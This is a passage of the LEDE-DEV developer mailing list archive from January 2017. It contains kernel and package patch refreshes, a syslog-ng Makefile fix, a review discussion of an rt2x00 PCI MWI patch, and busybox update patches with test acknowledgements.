-@@ -221,7 +221,7 @@ static struct sk_buff **ipv6_gro_receive
+@@ -222,7 +222,7 @@ static struct sk_buff **ipv6_gro_receive
  			continue;
  
  		iph2 = (struct ipv6hdr *)(p->data + off);
diff --git a/target/linux/brcm2708/patches-4.4/0111-mm-Remove-the-PFN-busy-warning.patch b/target/linux/brcm2708/patches-4.4/0111-mm-Remove-the-PFN-busy-warning.patch
index f643ec8..a060280 100644
--- a/target/linux/brcm2708/patches-4.4/0111-mm-Remove-the-PFN-busy-warning.patch
+++ b/target/linux/brcm2708/patches-4.4/0111-mm-Remove-the-PFN-busy-warning.patch
@@ -14,7 +14,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
 
 --- a/mm/page_alloc.c
 +++ b/mm/page_alloc.c
-@@ -6782,8 +6782,6 @@ int alloc_contig_range(unsigned long sta
+@@ -6785,8 +6785,6 @@ int alloc_contig_range(unsigned long sta
  
  	/* Make sure the range is really isolated. */
  	if (test_pages_isolated(outer_start, end, false)) {
diff --git a/target/linux/generic/patches-4.4/680-NET-skip-GRO-for-foreign-MAC-addresses.patch b/target/linux/generic/patches-4.4/680-NET-skip-GRO-for-foreign-MAC-addresses.patch
index 698d394..eff8e82 100644
--- a/target/linux/generic/patches-4.4/680-NET-skip-GRO-for-foreign-MAC-addresses.patch
+++ b/target/linux/generic/patches-4.4/680-NET-skip-GRO-for-foreign-MAC-addresses.patch
@@ -17,7 +17,7 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
 
 --- a/net/core/dev.c
 +++ b/net/core/dev.c
-@@ -4222,6 +4222,9 @@ static enum gro_result dev_gro_receive(s
+@@ -4224,6 +4224,9 @@ static enum gro_result dev_gro_receive(s
  	enum gro_result ret;
  	int grow;
  
@@ -27,7 +27,7 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
  	if (!(skb->dev->features & NETIF_F_GRO))
  		goto normal;
  
-@@ -5381,6 +5384,48 @@ static void __netdev_adjacent_dev_unlink
+@@ -5383,6 +5386,48 @@ static void __netdev_adjacent_dev_unlink
  					   &upper_dev->adj_list.lower);
  }
  
@@ -76,7 +76,7 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
  static int __netdev_upper_dev_link(struct net_device *dev,
  				   struct net_device *upper_dev, bool master,
  				   void *private)
-@@ -5452,6 +5497,7 @@ static int __netdev_upper_dev_link(struc
+@@ -5454,6 +5499,7 @@ static int __netdev_upper_dev_link(struc
  			goto rollback_lower_mesh;
  	}
  
@@ -84,7 +84,7 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
  	call_netdevice_notifiers_info(NETDEV_CHANGEUPPER, dev,
  				      &changeupper_info.info);
  	return 0;
-@@ -5578,6 +5624,7 @@ void netdev_upper_dev_unlink(struct net_
+@@ -5580,6 +5626,7 @@ void netdev_upper_dev_unlink(struct net_
  	list_for_each_entry(i, &upper_dev->all_adj_list.upper, list)
  		__netdev_adjacent_dev_unlink(dev, i->dev, i->ref_nr);
  
@@ -92,7 +92,7 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
  	call_netdevice_notifiers_info(NETDEV_CHANGEUPPER, dev,
  				      &changeupper_info.info);
  }
-@@ -6118,6 +6165,7 @@ int dev_set_mac_address(struct net_devic
+@@ -6120,6 +6167,7 @@ int dev_set_mac_address(struct net_devic
  	if (err)
  		return err;
  	dev->addr_assign_type = NET_ADDR_SET;
diff --git a/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch b/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
index 0a117f6..82715b0 100644
--- a/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
+++ b/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
@@ -19,8 +19,6 @@ Signed-off-by: Petr ?tetiar <ynezz at true.cz>
  drivers/tty/serial/imx.c | 23 +++++++++++++++++------
  1 file changed, 17 insertions(+), 6 deletions(-)
 
-diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
-index 76818f5..086675e 100644
 --- a/drivers/tty/serial/imx.c
 +++ b/drivers/tty/serial/imx.c
 @@ -148,8 +148,11 @@
@@ -35,7 +33,7 @@ index 76818f5..086675e 100644
  #define USR2_RTSF	 (1<<4)	 /* RTS edge interrupt flag */
  #define USR2_TXDC	 (1<<3)	 /* Transmitter complete */
  #define USR2_BRCD	 (1<<2)	 /* Break condition */
-@@ -804,16 +807,19 @@ static unsigned int imx_tx_empty(struct uart_port *port)
+@@ -804,16 +807,19 @@ static unsigned int imx_tx_empty(struct
  static unsigned int imx_get_mctrl(struct uart_port *port)
  {
  	struct imx_port *sport = (struct imx_port *)port;
@@ -49,19 +47,20 @@ index 76818f5..086675e 100644
  
 -	if (readl(sport->port.membase + UCR2) & UCR2_CTS)
 -		tmp |= TIOCM_RTS;
+-
+-	if (readl(sport->port.membase + uts_reg(sport)) & UTS_LOOP)
+-		tmp |= TIOCM_LOOP;
 +	/* in DCE mode DCDIN is always 0 */
 +	if (!(usr1 & USR2_DCDIN))
 +		tmp |= TIOCM_CAR;
- 
--	if (readl(sport->port.membase + uts_reg(sport)) & UTS_LOOP)
--		tmp |= TIOCM_LOOP;
++
 +	/* in DCE mode RIIN is always 0 */
 +	if (readl(sport->port.membase + USR2) & USR2_RIIN)
 +		tmp |= TIOCM_RI;
  
  	return tmp;
  }
-@@ -831,6 +837,11 @@ static void imx_set_mctrl(struct uart_port *port, unsigned int mctrl)
+@@ -831,6 +837,11 @@ static void imx_set_mctrl(struct uart_po
  		writel(temp, sport->port.membase + UCR2);
  	}
  
@@ -73,6 +72,3 @@ index 76818f5..086675e 100644
  	temp = readl(sport->port.membase + uts_reg(sport)) & ~UTS_LOOP;
  	if (mctrl & TIOCM_LOOP)
  		temp |= UTS_LOOP;
--- 
-1.9.1
-
diff --git a/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch b/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
index a065575..0288298 100644
--- a/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
+++ b/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
@@ -16,11 +16,9 @@ Signed-off-by: Petr ?tetiar <ynezz at true.cz>
  drivers/tty/serial/imx.c | 6 +++---
  1 file changed, 3 insertions(+), 3 deletions(-)
 
-diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
-index 231e7d5..bfc4555 100644
 --- a/drivers/tty/serial/imx.c
 +++ b/drivers/tty/serial/imx.c
-@@ -797,9 +797,9 @@ static unsigned int imx_get_hwmctrl(struct imx_port *sport)
+@@ -817,9 +817,9 @@ static unsigned int imx_get_mctrl(struct
  	if (!(usr1 & USR2_DCDIN))
  		tmp |= TIOCM_CAR;
  
@@ -33,6 +31,3 @@ index 231e7d5..bfc4555 100644
  
  	return tmp;
  }
--- 
-1.9.1
-
diff --git a/target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch b/target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch
index 0b803b7..a4f2951 100644
--- a/target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch
+++ b/target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch
@@ -16,11 +16,9 @@ Signed-off-by: Petr ?tetiar <ynezz at true.cz>
  drivers/tty/serial/imx.c | 17 +++++++++++++----
  1 file changed, 13 insertions(+), 4 deletions(-)
 
-diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
-index bfc4555..5ced61e 100644
 --- a/drivers/tty/serial/imx.c
 +++ b/drivers/tty/serial/imx.c
-@@ -734,6 +734,7 @@ static irqreturn_t imx_int(int irq, void *dev_id)
+@@ -753,6 +753,7 @@ static irqreturn_t imx_int(int irq, void
  	struct imx_port *sport = dev_id;
  	unsigned int sts;
  	unsigned int sts2;
@@ -28,7 +26,7 @@ index bfc4555..5ced61e 100644
  
  	sts = readl(sport->port.membase + USR1);
  	sts2 = readl(sport->port.membase + USR2);
-@@ -743,26 +744,34 @@ static irqreturn_t imx_int(int irq, void *dev_id)
+@@ -762,26 +763,34 @@ static irqreturn_t imx_int(int irq, void
  			imx_dma_rxint(sport);
  		else
  			imx_rxint(irq, dev_id);
@@ -67,6 +65,3 @@ index bfc4555..5ced61e 100644
  }
  
  /*
--- 
-1.9.1
-
diff --git a/target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch b/target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch
index 8978d33..1c7de3f 100644
--- a/target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch
+++ b/target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch
@@ -18,11 +18,9 @@ Signed-off-by: Petr ?tetiar <ynezz at true.cz>
  drivers/tty/serial/imx.c | 23 ++++++++++++++++++++++-
  1 file changed, 22 insertions(+), 1 deletion(-)
 
-diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
-index 5ced61e..fcd48fd 100644
 --- a/drivers/tty/serial/imx.c
 +++ b/drivers/tty/serial/imx.c
-@@ -1221,11 +1221,32 @@ static int imx_startup(struct uart_port *port)
+@@ -1184,11 +1184,32 @@ static int imx_startup(struct uart_port
  	temp |= (UCR2_RXEN | UCR2_TXEN);
  	if (!sport->have_rtscts)
  		temp |= UCR2_IRTS;
@@ -56,6 +54,3 @@ index 5ced61e..fcd48fd 100644
  		writel(temp, sport->port.membase + UCR3);
  	}
  
--- 
-1.9.1
-
-- 
2.7.4



From milankocvara at gmail.com  Mon Jan 16 03:24:09 2017
From: milankocvara at gmail.com (=?UTF-8?Q?Milan_Ko=c4=8dvara?=)
Date: Mon, 16 Jan 2017 12:24:09 +0100
Subject: [LEDE-DEV] Syslog-ng Makefile typo
Message-ID: <b776cb38-f2f6-145d-00bd-356bfd681300@gmail.com>

Hello.
I found typo in syslog-ng makefile.

I've upgraded to the newest version and I've made correction of the 
typo. Patch bellow.

Sorry for bad format of everything. I did it never :)

--- Makefile-orig       2017-01-16 12:06:44.367684776 +0100
+++ Makefile~   2017-01-16 12:22:47.198478933 +0100
@@ -1,14 +1,14 @@
  include  $(TOPDIR)/rules.mk

  PKG_NAME:=syslog-ng
-PKG_VERSION:=3.8.1
-PKG_RELEASE:=3
+PKG_VERSION:=3.9.1
+PKG_RELEASE:=1

  PKG_MAINTAINER:=W. Michael Petullo <mike at flyn.org>

  PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
 
PKG_SOURCE_URL:=https://github.com/balabit/syslog-ng/releases/download/$(PKG_NAME)-$(PKG_VERSION)/
-PKG_MD5SUM:=acf14563cf5ce435db8db35486ce66af
+PKG_MD5SUM:=1b48da9ef620cf06e55e481b5abb677a

  PKG_INSTALL:=1

@@ -41,7 +41,7 @@
  CONFIGURE_ARGS += \
    $(call autoconf_bool,CONFIG_IPV6,ipv6) \
           --disable-dependency-tracking \
-         --disable-ampq \
+         --disable-amqp \
           --disable-tcp-wrapper \
           --disable-glibtest \
           --disable-mongodb \


From daniel at makrotopia.org  Mon Jan 16 03:42:06 2017
From: daniel at makrotopia.org (Daniel Golle)
Date: Mon, 16 Jan 2017 12:42:06 +0100
Subject: [LEDE-DEV] [PATCH v2 09/14] rt2x00: rt2x00pci: set PCI MWI only
 if supported
In-Reply-To: <20170116100856.GB6968@redhat.com>
References: <874m114lwq.fsf@codeaurora.org>
 <20170116030613.GA32249@makrotopia.org>
 <20170116100856.GB6968@redhat.com>
Message-ID: <20170116114205.GA1699@makrotopia.org>

Hi!

On Mon, Jan 16, 2017 at 11:08:57AM +0100, Stanislaw Gruszka wrote:
> On Mon, Jan 16, 2017 at 04:06:25AM +0100, Daniel Golle wrote:
> > From: Claudio Mignanti <c.mignanti at gmail.com>
> > 
> > This is needed for devices without support for PCI MWI. See also
> > https://dev.openwrt.org/changeset/21850
> > 
> > Signed-off-by: Daniel Golle <daniel at makrotopia.org>
> > ---
> >  drivers/net/wireless/ralink/rt2x00/rt2x00pci.c | 2 ++
> >  1 file changed, 2 insertions(+)
> > 
> > diff --git a/drivers/net/wireless/ralink/rt2x00/rt2x00pci.c b/drivers/net/wireless/ralink/rt2x00/rt2x00pci.c
> > index eb6dbcd4fddf..4becfeb75ba8 100644
> > --- a/drivers/net/wireless/ralink/rt2x00/rt2x00pci.c
> > +++ b/drivers/net/wireless/ralink/rt2x00/rt2x00pci.c
> > @@ -94,8 +94,10 @@ int rt2x00pci_probe(struct pci_dev *pci_dev, const struct rt2x00_ops *ops)
> >  
> >  	pci_set_master(pci_dev);
> >  
> > +#ifdef CONFIG_PCI_SET_MWI
> >  	if (pci_set_mwi(pci_dev))
> >  		rt2x00_probe_err("MWI not available\n");
> > +#endif
> 
> There is no CONFIG_PCI_SET_MWI in the kernel. This patch is either not
> needed (pci subsystem has own PCI_DISABLE_MWI define) or wrong (we
> should not call this function for some devices).

Is anyone with good long-term memory able to tell why this was needed
in first place? Can we assume it to be obsolete when using modern
kernels?


Cheers


Daniel


From jo at mein.io  Mon Jan 16 04:02:26 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Mon, 16 Jan 2017 13:02:26 +0100
Subject: [LEDE-DEV] [PATCH] mbedtls: add static files in staging_dir
In-Reply-To: <20170115192634.18408-1-luka.perkov@sartura.hr>
References: <20170115192634.18408-1-luka.perkov@sartura.hr>
Message-ID: <65a9b942-f77b-d0f9-dba9-f3676435851a@mein.io>

Hi Luka,

no objection but you could you provide some brief explanation on why
this is needed?

~ Jo


From jo at mein.io  Mon Jan 16 04:03:04 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Mon, 16 Jan 2017 13:03:04 +0100
Subject: [LEDE-DEV] [PATCH] ubox: turn logd into a separate package
In-Reply-To: <20170115192713.18496-1-luka.perkov@sartura.hr>
References: <20170115192713.18496-1-luka.perkov@sartura.hr>
Message-ID: <78899752-f37a-b480-06c1-061606961b98@mein.io>

On 01/15/2017 08:27 PM, Luka Perkov wrote:
> From: Andrej Vlasic <andrej.vlasic at sartura.hr>
> 
> Currently system log is always included as a part of ubox. Add logd as a
> seperate package and add it to default packages list.
> 
> Signed-off-by: Andrej Vlasic <andrej.vlasic at sartura.hr>
> Signed-off-by: Luka Perkov <luka.perkov at sartura.hr>

Acked-by: Jo-Philipp Wich <jo at mein.io>

> ---
>  include/target.mk            |  2 +-
>  package/system/ubox/Makefile | 16 ++++++++++++++--
>  2 files changed, 15 insertions(+), 3 deletions(-)
> 
> diff --git a/include/target.mk b/include/target.mk
> index a8d3b2b249..bca4af4b1b 100644
> --- a/include/target.mk
> +++ b/include/target.mk
> @@ -13,7 +13,7 @@ __target_inc=1
>  DEVICE_TYPE?=router
>  
>  # Default packages - the really basic set
> -DEFAULT_PACKAGES:=base-files libc libgcc busybox dropbear mtd uci opkg netifd fstools uclient-fetch
> +DEFAULT_PACKAGES:=base-files libc libgcc busybox dropbear mtd uci opkg netifd fstools uclient-fetch logd
>  # For nas targets
>  DEFAULT_PACKAGES.nas:=block-mount fdisk lsblk mdadm
>  # For router targets
> diff --git a/package/system/ubox/Makefile b/package/system/ubox/Makefile
> index 8900c67803..e833cac487 100644
> --- a/package/system/ubox/Makefile
> +++ b/package/system/ubox/Makefile
> @@ -5,7 +5,7 @@ PKG_RELEASE:=1
>  
>  PKG_SOURCE_PROTO:=git
>  PKG_SOURCE_URL=$(LEDE_GIT)/project/ubox.git
> -PKG_SOURCE_DATE:=2016-09-26
> +PKG_SOURCE_DATE:=2017-01-15
>  PKG_SOURCE_VERSION:=5649c028c426060616e2bd4e7ea83271cd333d21
>  PKG_MIRROR_HASH:=ae77504a4397f92173a7646fa3555e5b51abd7ff1dd1c419770223359e41937a
>  CMAKE_INSTALL:=1
> @@ -27,8 +27,15 @@ define Package/ubox
>    TITLE:=OpenWrt system helper toolbox
>  endef
>  
> +define Package/logd
> +SECTION:=base
> +  CATEGORY:=Base system
> +  DEPENDS:=+libubox +libubus +libblobmsg-json +USE_GLIBC:librt
> +  TITLE:=OpenWrt system log implementation
> +endef
> +
>  define Package/ubox/install
> -	$(INSTALL_DIR) $(1)/sbin $(1)/usr/sbin $(1)/lib $(1)/usr/bin $(1)/etc/init.d
> +	$(INSTALL_DIR) $(1)/sbin $(1)/usr/sbin $(1)/lib $(1)/usr/bin
>  
>  	$(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/sbin/{kmodloader,validate_data} $(1)/sbin/
>  	$(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/bin/getrandom $(1)/usr/bin/
> @@ -39,9 +46,14 @@ define Package/ubox/install
>  	$(LN) ../../sbin/kmodloader $(1)/usr/sbin/lsmod
>  	$(LN) ../../sbin/kmodloader $(1)/usr/sbin/modinfo
>  	$(LN) ../../sbin/kmodloader $(1)/usr/sbin/modprobe
> +endef
> +
> +define Package/logd/install
> +	$(INSTALL_DIR) $(1)/sbin $(1)/etc/init.d/
>  
>  	$(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/sbin/{logd,logread} $(1)/sbin/
>  	$(INSTALL_BIN) ./files/log.init $(1)/etc/init.d/log
>  endef
>  
>  $(eval $(call BuildPackage,ubox))
> +$(eval $(call BuildPackage,logd))
> 



From john at phrozen.org  Mon Jan 16 04:06:01 2017
From: john at phrozen.org (John Crispin)
Date: Mon, 16 Jan 2017 13:06:01 +0100
Subject: [LEDE-DEV] [PATCH v2 09/14] rt2x00: rt2x00pci: set PCI MWI only
 if supported
In-Reply-To: <20170116114205.GA1699@makrotopia.org>
References: <874m114lwq.fsf@codeaurora.org>
 <20170116030613.GA32249@makrotopia.org> <20170116100856.GB6968@redhat.com>
 <20170116114205.GA1699@makrotopia.org>
Message-ID: <22c979fe-1524-c499-9861-57ce633bfbef@phrozen.org>



On 16/01/2017 12:42, Daniel Golle wrote:
> Hi!
> 
> On Mon, Jan 16, 2017 at 11:08:57AM +0100, Stanislaw Gruszka wrote:
>> On Mon, Jan 16, 2017 at 04:06:25AM +0100, Daniel Golle wrote:
>>> From: Claudio Mignanti <c.mignanti at gmail.com>
>>>
>>> This is needed for devices without support for PCI MWI. See also
>>> https://dev.openwrt.org/changeset/21850
>>>
>>> Signed-off-by: Daniel Golle <daniel at makrotopia.org>
>>> ---
>>>  drivers/net/wireless/ralink/rt2x00/rt2x00pci.c | 2 ++
>>>  1 file changed, 2 insertions(+)
>>>
>>> diff --git a/drivers/net/wireless/ralink/rt2x00/rt2x00pci.c b/drivers/net/wireless/ralink/rt2x00/rt2x00pci.c
>>> index eb6dbcd4fddf..4becfeb75ba8 100644
>>> --- a/drivers/net/wireless/ralink/rt2x00/rt2x00pci.c
>>> +++ b/drivers/net/wireless/ralink/rt2x00/rt2x00pci.c
>>> @@ -94,8 +94,10 @@ int rt2x00pci_probe(struct pci_dev *pci_dev, const struct rt2x00_ops *ops)
>>>  
>>>  	pci_set_master(pci_dev);
>>>  
>>> +#ifdef CONFIG_PCI_SET_MWI
>>>  	if (pci_set_mwi(pci_dev))
>>>  		rt2x00_probe_err("MWI not available\n");
>>> +#endif
>>
>> There is no CONFIG_PCI_SET_MWI in the kernel. This patch is either not
>> needed (pci subsystem has own PCI_DISABLE_MWI define) or wrong (we
>> should not call this function for some devices).
> 
> Is anyone with good long-term memory able to tell why this was needed
> in first place? Can we assume it to be obsolete when using modern
> kernels?
> 
> 
> Cheers
> 
> 
> Daniel
> 

this was related to rt61 a few years ago. i'll dive into my mail archive
later today to see if i can figure out why,

	John


From koen.vandeputte at ncentric.com  Mon Jan 16 05:45:52 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Mon, 16 Jan 2017 14:45:52 +0100
Subject: [LEDE-DEV] [PATCH v2 1/2] busybox: convert netmsg and lock
 applet to "new style" applet definition
In-Reply-To: <1484443301-6252-1-git-send-email-mkroken@gmail.com>
References: <1483570493-18139-1-git-send-email-mkroken@gmail.com>
 <1484443301-6252-1-git-send-email-mkroken@gmail.com>
Message-ID: <74139af1-1431-e852-2b37-3454ec597984@ncentric.com>

Look ok.
Tested on imx6

http://pastebin.com/raw/x1zs4trr

Tested-by: Koen Vandeputte <koen.vandeputte at ncentric.com>



On 2017-01-15 02:21, Magnus Kroken wrote:
> The "new style" busybox applet approach moves all config and build
> definitions related to an applet to its .c file. This makes the
> patches easier to maintain, as they only add new files to the busybox
> build directory, without modifying BusyBox files.
>
> Signed-off-by: Magnus Kroken <mkroken at gmail.com>
> ---
> v2: Merge netmsg and lock changes to one patch, as the changes are closely related.
>
>   .../busybox/patches/210-add_netmsg_util.patch      | 54 ++++++----------------
>   .../utils/busybox/patches/220-add_lock_util.patch  | 54 ++++++----------------
>   2 files changed, 30 insertions(+), 78 deletions(-)
>
> diff --git a/package/utils/busybox/patches/210-add_netmsg_util.patch b/package/utils/busybox/patches/210-add_netmsg_util.patch
> index 2382698..d7b2ae7 100644
> --- a/package/utils/busybox/patches/210-add_netmsg_util.patch
> +++ b/package/utils/busybox/patches/210-add_netmsg_util.patch
> @@ -1,46 +1,25 @@
> ---- a/include/applets.src.h
> -+++ b/include/applets.src.h
> -@@ -229,6 +229,7 @@ IF_MT(APPLET(mt, BB_DIR_BIN, BB_SUID_DRO
> - IF_MV(APPLET(mv, BB_DIR_BIN, BB_SUID_DROP))
> - IF_NAMEIF(APPLET(nameif, BB_DIR_SBIN, BB_SUID_DROP))
> - IF_NC(APPLET(nc, BB_DIR_USR_BIN, BB_SUID_DROP))
> -+IF_NETMSG(APPLET(netmsg, BB_DIR_BIN, BB_SUID_REQUIRE))
> - IF_NETSTAT(APPLET(netstat, BB_DIR_BIN, BB_SUID_DROP))
> - IF_NICE(APPLET(nice, BB_DIR_BIN, BB_SUID_DROP))
> - IF_NOHUP(APPLET(nohup, BB_DIR_USR_BIN, BB_SUID_DROP))
> ---- a/networking/Config.src
> -+++ b/networking/Config.src
> -@@ -639,6 +639,12 @@ config FEATURE_IPCALC_LONG_OPTIONS
> - 	help
> - 	  Support long options for the ipcalc applet.
> -
> -+config NETMSG
> -+	bool "netmsg"
> -+	default n
> -+	help
> -+	  simple program for sending udp broadcast messages
> -+
> - config NETSTAT
> - 	bool "netstat"
> - 	default y
> ---- a/networking/Kbuild.src
> -+++ b/networking/Kbuild.src
> -@@ -27,6 +27,7 @@ lib-$(CONFIG_IP)           += ip.o
> - lib-$(CONFIG_IPCALC)       += ipcalc.o
> - lib-$(CONFIG_NAMEIF)       += nameif.o
> - lib-$(CONFIG_NC)           += nc.o
> -+lib-$(CONFIG_NETMSG)       += netmsg.o
> - lib-$(CONFIG_NETSTAT)      += netstat.o
> - lib-$(CONFIG_NSLOOKUP)     += nslookup.o
> - lib-$(CONFIG_NTPD)         += ntpd.o
>   --- /dev/null
>   +++ b/networking/netmsg.c
> -@@ -0,0 +1,65 @@
> +@@ -0,0 +1,76 @@
>   +/*
>   + * Copyright (C) 2006 Felix Fietkau <nbd at nbd.name>
>   + *
>   + * This is free software, licensed under the GNU General Public License v2.
>   + */
> ++
> ++//config:config NETMSG
> ++//config:	bool "netmsg"
> ++//config:	default n
> ++//config:	help
> ++//config:	  simple program for sending udp broadcast messages
> ++
> ++//applet:IF_NETMSG(APPLET(netmsg, BB_DIR_BIN, BB_SUID_REQUIRE))
> ++
> ++//kbuild:lib-$(CONFIG_NETMSG) += netmsg.o
> ++
> ++//usage:#define netmsg_trivial_usage NOUSAGE_STR
> ++//usage:#define netmsg_full_usage ""
> ++
>   +#include <sys/types.h>
>   +#include <sys/socket.h>
>   +#include <netinet/in.h>
> @@ -50,9 +29,6 @@
>   +#include <string.h>
>   +#include "busybox.h"
>   +
> -+//usage:#define netmsg_trivial_usage NOUSAGE_STR
> -+//usage:#define netmsg_full_usage ""
> -+
>   +#ifndef CONFIG_NETMSG
>   +int main(int argc, char **argv)
>   +#else
> diff --git a/package/utils/busybox/patches/220-add_lock_util.patch b/package/utils/busybox/patches/220-add_lock_util.patch
> index c60f5db..4e46b74 100644
> --- a/package/utils/busybox/patches/220-add_lock_util.patch
> +++ b/package/utils/busybox/patches/220-add_lock_util.patch
> @@ -1,46 +1,25 @@
> ---- a/include/applets.src.h
> -+++ b/include/applets.src.h
> -@@ -196,6 +196,7 @@ IF_LN(APPLET_NOEXEC(ln, ln, BB_DIR_BIN,
> - IF_LOAD_POLICY(APPLET(load_policy, BB_DIR_USR_SBIN, BB_SUID_DROP))
> - IF_LOADFONT(APPLET(loadfont, BB_DIR_USR_SBIN, BB_SUID_DROP))
> - IF_LOADKMAP(APPLET(loadkmap, BB_DIR_SBIN, BB_SUID_DROP))
> -+IF_LOCK(APPLET(lock, BB_DIR_BIN, BB_SUID_DROP))
> - IF_LOGNAME(APPLET_NOFORK(logname, logname, BB_DIR_USR_BIN, BB_SUID_DROP, logname))
> - IF_LOSETUP(APPLET(losetup, BB_DIR_SBIN, BB_SUID_DROP))
> - IF_LS(APPLET_NOEXEC(ls, ls, BB_DIR_BIN, BB_SUID_DROP, ls))
> ---- a/miscutils/Config.src
> -+++ b/miscutils/Config.src
> -@@ -375,6 +375,12 @@ config FEATURE_HDPARM_HDIO_GETSET_DMA
> - 	help
> - 	  Enables the 'hdparm -d' option to get/set using_dma flag.
> -
> -+config LOCK
> -+	bool "lock"
> -+	default n
> -+	help
> -+	  Small utility for using locks in scripts
> -+
> - config MAKEDEVS
> - 	bool "makedevs"
> - 	default y
> ---- a/miscutils/Kbuild.src
> -+++ b/miscutils/Kbuild.src
> -@@ -33,6 +33,7 @@ lib-$(CONFIG_LAST)        += last.o
> - endif
> -
> - lib-$(CONFIG_LESS)        += less.o
> -+lib-$(CONFIG_LOCK)        += lock.o
> - lib-$(CONFIG_MAKEDEVS)    += makedevs.o
> - lib-$(CONFIG_MAN)         += man.o
> - lib-$(CONFIG_MICROCOM)    += microcom.o
>   --- /dev/null
>   +++ b/miscutils/lock.c
> -@@ -0,0 +1,144 @@
> +@@ -0,0 +1,155 @@
>   +/*
>   + * Copyright (C) 2006 Felix Fietkau <nbd at nbd.name>
>   + *
>   + * This is free software, licensed under the GNU General Public License v2.
>   + */
> ++
> ++//config:config LOCK
> ++//config:	bool "lock"
> ++//config:	default n
> ++//config:	help
> ++//config:	  Small utility for using locks in scripts
> ++
> ++//applet:IF_LOCK(APPLET(lock, BB_DIR_BIN, BB_SUID_DROP))
> ++
> ++//kbuild:lib-$(CONFIG_LOCK) += lock.o
> ++
> ++//usage:#define lock_trivial_usage NOUSAGE_STR
> ++//usage:#define lock_full_usage ""
> ++
>   +#include <sys/types.h>
>   +#include <sys/file.h>
>   +#include <sys/stat.h>
> @@ -50,9 +29,6 @@
>   +#include <stdio.h>
>   +#include "busybox.h"
>   +
> -+//usage:#define lock_trivial_usage NOUSAGE_STR
> -+//usage:#define lock_full_usage ""
> -+
>   +static int unlock = 0;
>   +static int shared = 0;
>   +static int waitonly = 0;

-- 
Koen Vandeputte - Software Developer
koen.vandeputte at ncentric.com | +32499736158



From koen.vandeputte at ncentric.com  Mon Jan 16 05:46:07 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Mon, 16 Jan 2017 14:46:07 +0100
Subject: [LEDE-DEV] [PATCH v2 2/2] busybox: update to 1.26.2
In-Reply-To: <1484443301-6252-2-git-send-email-mkroken@gmail.com>
References: <1483570493-18139-1-git-send-email-mkroken@gmail.com>
 <1484443301-6252-1-git-send-email-mkroken@gmail.com>
 <1484443301-6252-2-git-send-email-mkroken@gmail.com>
Message-ID: <db52dc20-9a87-7675-2106-0ff80b6a35e2@ncentric.com>

Look ok.
Tested on imx6

http://pastebin.com/raw/x1zs4trr

Tested-by: Koen Vandeputte <koen.vandeputte at ncentric.com>



On 2017-01-15 02:21, Magnus Kroken wrote:
> Refresh patches, delete patches that have been applied upstream.
>
> Signed-off-by: Magnus Kroken <mkroken at gmail.com>
> ---
> v2: Bump to 1.26.2
>
> Note: Only PKG_VERSION and PKG_HASH were changed between BusyBox 1.26.1 and 1.26.2.
> No other files needed updates between this and my previous patch from January 4th.
> Koen Vandeputte reported the 1.26.1 patch to work, a user on the forums also used
> the patch series successfully [1].
>
> Not sure if merging this so soon before branching for release is sensible, but as I
> didn't receive any further feedback on the previous series I update the series.
>
> [1] https://forum.lede-project.org/t/busybox-upgrade-issue/680
>
>   package/utils/busybox/Config-defaults.in           | 1229 ++++++++++----------
>   package/utils/busybox/Makefile                     |    6 +-
>   package/utils/busybox/config/Config.in             |  315 ++---
>   package/utils/busybox/config/archival/Config.in    |   78 +-
>   .../utils/busybox/config/console-tools/Config.in   |  103 +-
>   package/utils/busybox/config/coreutils/Config.in   |  603 +++++-----
>   package/utils/busybox/config/findutils/Config.in   |   24 +-
>   package/utils/busybox/config/init/Config.in        |   20 +-
>   package/utils/busybox/config/libbb/Config.in       |  162 +++
>   package/utils/busybox/config/mailutils/Config.in   |   18 +-
>   package/utils/busybox/config/miscutils/Config.in   |  615 +++++-----
>   package/utils/busybox/config/modutils/Config.in    |   73 +-
>   package/utils/busybox/config/networking/Config.in  |  643 +++++-----
>   .../busybox/config/networking/udhcp/Config.in      |    2 -
>   package/utils/busybox/config/procps/Config.in      |  264 ++---
>   package/utils/busybox/config/runit/Config.in       |    7 +
>   package/utils/busybox/config/selinux/Config.in     |   37 +-
>   package/utils/busybox/config/shell/Config.in       |  234 ++--
>   package/utils/busybox/config/sysklogd/Config.in    |    1 -
